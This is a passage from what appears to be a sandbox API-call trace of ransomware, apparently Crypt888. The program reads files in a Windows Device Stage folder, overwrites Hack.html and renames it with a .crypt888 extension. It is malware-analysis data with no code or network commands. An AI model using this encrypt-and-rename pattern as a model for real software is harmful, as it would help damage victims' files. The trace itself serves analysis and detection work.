lpOverlapped=0x0 | out: lpBuffer=0x288b148*, lpNumberOfBytesRead=0x39ecbc*=0x536, lpOverlapped=0x0) returned 1 [0087.263] CloseHandle (hObject=0x174) returned 1 [0087.317] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x62 [0087.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.317] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.319] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x63 [0087.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.319] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.319] GetFileType (hFile=0x174) returned 0x1 [0087.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.319] GetFileType (hFile=0x174) returned 0x1 [0087.319] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xcaa9 [0087.319] ReadFile (in: hFile=0x174, lpBuffer=0x26dbbcc, nNumberOfBytesToRead=0xcaa9, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26dbbcc*, lpNumberOfBytesRead=0x39ecbc*=0xcaa9, lpOverlapped=0x0) returned 1 [0087.320] CloseHandle (hObject=0x174) returned 1 [0087.372] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x63 [0087.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.374] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x62 [0087.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.374] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.375] GetFileType (hFile=0x174) returned 0x1 [0087.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.375] GetFileType (hFile=0x174) returned 0x1 [0087.375] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x10850 [0087.375] ReadFile (in: hFile=0x174, lpBuffer=0x275bdd0, nNumberOfBytesToRead=0x10850, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x275bdd0*, lpNumberOfBytesRead=0x39ecbc*=0x10850, lpOverlapped=0x0) returned 1 [0087.376] CloseHandle (hObject=0x174) returned 1 [0087.428] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x62 [0087.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.429] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.430] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5e [0087.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.431] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.431] GetFileType (hFile=0x174) returned 0x1 [0087.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.431] GetFileType (hFile=0x174) returned 0x1 [0087.431] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xc04b [0087.431] ReadFile (in: hFile=0x174, lpBuffer=0x27eb524, nNumberOfBytesToRead=0xc04b, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27eb524*, lpNumberOfBytesRead=0x39ecbc*=0xc04b, lpOverlapped=0x0) returned 1 [0087.432] CloseHandle (hObject=0x174) returned 1 [0087.478] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5e [0087.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.478] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.479] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0087.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.480] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.480] GetFileType (hFile=0x174) returned 0x1 [0087.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.480] GetFileType (hFile=0x174) returned 0x1 [0087.480] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x3473 [0087.480] ReadFile (in: hFile=0x174, lpBuffer=0x2868c24, nNumberOfBytesToRead=0x3473, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2868c24*, lpNumberOfBytesRead=0x39ecbc*=0x3473, lpOverlapped=0x0) returned 1 [0087.481] CloseHandle (hObject=0x174) returned 1 [0087.522] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0087.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.522] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.524] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x5d [0087.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.524] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.524] GetFileType (hFile=0x174) returned 0x1 [0087.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.524] GetFileType (hFile=0x174) returned 0x1 [0087.524] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x1b9f4 [0087.525] ReadFile (in: hFile=0x174, lpBuffer=0x381c020, nNumberOfBytesToRead=0x1b9f4, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x381c020*, lpNumberOfBytesRead=0x39ecbc*=0x1b9f4, lpOverlapped=0x0) returned 1 [0087.526] CloseHandle (hObject=0x174) returned 1 [0087.567] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x5d [0087.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.568] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0087.569] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x5b [0087.569] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpFilePart=0x0) returned 0x5c [0087.569] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0087.569] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0087.570] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0087.570] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0087.570] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0087.570] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0087.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0087.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0087.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0087.570] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x5b [0087.570] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpFilePart=0x0) returned 0x5c [0087.570] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0087.570] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0087.571] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0087.571] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0087.571] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0087.571] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0087.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0087.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0087.571] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0087.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0087.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.571] GetFileType (hFile=0x174) returned 0x1 [0087.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0087.571] GetFileType (hFile=0x174) returned 0x1 [0087.571] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xba [0087.572] ReadFile (in: hFile=0x174, lpBuffer=0x2719434, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x2719434*, lpNumberOfBytesRead=0x39ec88*=0xba, lpOverlapped=0x0) returned 1 [0087.572] CloseHandle (hObject=0x174) returned 1 [0087.615] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0087.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0087.615] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.616] GetFileType (hFile=0x174) returned 0x1 [0087.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0087.616] GetFileType (hFile=0x174) returned 0x1 [0087.616] WriteFile (in: hFile=0x174, lpBuffer=0x2767760*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec4c, lpOverlapped=0x0 | out: lpBuffer=0x2767760*, lpNumberOfBytesWritten=0x39ec4c*=0xc0, lpOverlapped=0x0) returned 1 [0087.617] CloseHandle (hObject=0x174) returned 1 [0087.617] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0087.617] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html.crypt888", lpFilePart=0x0) returned 0x6e [0087.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0087.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2102a0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb2102a0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc56c14c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0087.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0087.618] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\hack.html.crypt888")) returned 1 [0087.618] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0087.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0087.618] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.618] GetFileType (hFile=0x174) returned 0x1 [0087.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0087.618] GetFileType (hFile=0x174) returned 0x1 [0087.618] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0x536 [0087.618] ReadFile (in: hFile=0x174, lpBuffer=0x27690dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x27690dc*, lpNumberOfBytesRead=0x39ec88*=0x536, lpOverlapped=0x0) returned 1 [0087.619] CloseHandle (hObject=0x174) returned 1 [0087.632] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0087.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0087.632] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39d9f8) returned 1 [0087.634] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0087.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0087.634] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html" (normalized: "c:\\users\\all 